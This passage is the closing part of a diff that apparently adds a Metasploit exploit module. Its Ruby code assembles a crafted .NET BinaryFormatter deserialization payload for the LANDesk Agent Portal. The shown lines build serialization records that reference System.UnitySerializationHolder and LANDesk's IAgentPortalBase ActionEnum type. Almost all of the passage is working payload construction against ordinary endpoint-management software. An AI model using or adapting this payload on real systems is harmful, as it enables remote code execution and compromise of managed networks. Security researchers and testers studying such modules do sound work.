class_info: { obj_id: 8, name: 'System.UnitySerializationHolder', member_count: 3, member_names: ['Data', 'UnityType', 'AssemblyName'] }, + member_type_info: { binary_type_enums: [1, 0, 1], additional_infos: [8] }, + member_values: [{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 12, string: 'System.String' } }, 4, { record_type: 6, record_value: { obj_id: 13, string: 'mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089' } }] + } + }, + { + record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ClassWithId], + record_value: { + obj_id: 9, + metadata_id: 8, + member_values: [ + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 14, string: 'LANDesk.AgentPortal.IAgentPortalBase+ActionEnum' } }, + 4, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 15, string: 'APCommon, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb' } } + ] + } + }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MessageEnd], record_value: {} } + ] + }) + end +end